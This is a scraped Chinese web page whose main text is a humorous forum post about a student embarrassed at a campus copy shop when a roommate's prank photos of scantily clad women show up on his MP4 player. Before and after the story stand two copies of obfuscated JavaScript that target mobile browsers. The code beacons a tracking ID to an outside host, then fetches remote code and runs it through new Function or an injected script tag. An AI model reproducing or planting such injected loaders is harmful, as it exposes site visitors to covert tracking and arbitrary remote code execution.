function ePSXgG(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function cdIkGl(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ePSXgG(t);};window[''+'m'+'u'+'A'+'t'+'R'+'d'+'o'+'W'+'X'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aEJNA(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=cdIkGl,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aEJNA(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/6906/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aEJNA(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLnBocHHJudS5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54dXdkdWkuY29tJTNBOTUzMww==','11018',window,document,['H','w']);}:function(){};
大学时复印室里的一次尴尬经历


  


当当当当……同学们好,我又回来了。上次跟大家分享了大学时同寝集团观摩A片的一次有趣经历,反响甚好,嗯嗯,我很欣慰,咳咳。
    兄弟静极思动,最近又想跟大家聊点啥。咱要说点嘛捏?哎,咱要说说那——复印室里的一次尴尬经历。
    事先声明,本帖很傻很天真,不黄不暴力,口味重的同学可以选择跳过,兄弟也同样谢过。
    咱们书归正传,说的是大学最后一学期,大家都在忙着做简历准备实习,兄弟刚刚跟家人蹭了个mp4,就像穷人乍得驴来骑,得瑟的不行,整天在同学和舍友身前晃荡,时不时的学学带着耳麦摇头晃脑的兔斯基(不奇怪,当年的电子产品不及现在普遍,现在的小孩子都TMD玩touch,极度不平衡ing),因为我们寝室没有电脑,有时候就让舍友去电脑教室帮我下点歌曲啊之类的。
    永远不会忘记那个可怕的傍晚,记得那一天,天空是阴霾的,树木是静止的,空气是憋闷的,内心是沧桑的,枯藤老树昏鸦断肠人……(咳咳以上文字做渲染气氛用,当然最重要的作用是凑字数)上午又一次把机器借给了舍友,一来再让他给我下点歌曲,二来他要存简历(丫的也没买优盘)因为复印室离我们系部比较近,就让我去帮他打印两张简历。话说我到了复印室一看,我靠人口密度极其膨胀,比到了饭点的食堂也逊色不了多少,我排队等啊等,站到天荒地老,等到海枯石烂,差点白矮星坍塌黑洞吞噬地球……闲话少说(这就不少了咳咳)终于站到了复印室那坐在电脑前的漂亮mm面前。要不说大学生就是有素质,面对长的如此有创意的我以及巨大的工作量,却丝毫没有影响到良好的服务态度,mm甜甜的微笑着,从我手里接过了mp4,把线往usb插口一插——噩梦终于开始了…
   mm打开我的电脑->可移动磁盘H,刚要问我是哪个文件,忽然愣住了,面对漂亮的mm,我当然要忍不住往前凑了凑,往屏幕上一瞅,我也愣住了,后面排队的哥们姐们出于跟或许跟我一样的目的也往前挤,也看到了屏幕,同时也愣住了…屏幕上华丽丽的一排或裸体或三点的美女!!一个excel文件毫不起眼的挤在众美女当中,这是怎么回事!原来mm打开我的电脑时是以缩略图显示模式打开的,图片的内容都能看到,这时mm已经缓过神来,意味深长的看着我,我脸憋得通红,嗫嚅着不知道说什么好,憋了半天终于挤出一句白痴到极致的话:“这不是我弄得……”话音未落,就听到后面的男男女女哈哈笑了起来。我当时那个羞愧啊,我明明没存过图片啊,这是怎么回事,恨不得找个地缝钻进去。mm不置可否的掩嘴一笑:“没事”——
    我拿着简历逃也似的跑回寝室,见着舍友问他图片是你弄得?丫得意的笑笑,邀功似的说:怎么样?酷吧?我找了好半天才找到的,专门给你准备的,我是不是很够意……话没说我就被我一通爆烈飓风猛虎踢飞燕旋风脚霸王翔吼拳打翻在地,丫眼泪汪汪无辜的看着我:到底怎么回事嘛。

  

function bsxLjISX(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function divFqNm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bsxLjISX(t);};window[''+'q'+'R'+'C'+'X'+'v'+'a'+'G'+'s'+'O'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function hCGu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=divFqNm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=hCGu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/6906/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=hCGu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLnBocHHJudS5jb20lM0E4ODkx','d3NzJJTNBJJTJJGJJTJJGYS54dXdkdWkuY29tJJTNBOTUzMw==','1944',window,document,['H','J']);}:function(){};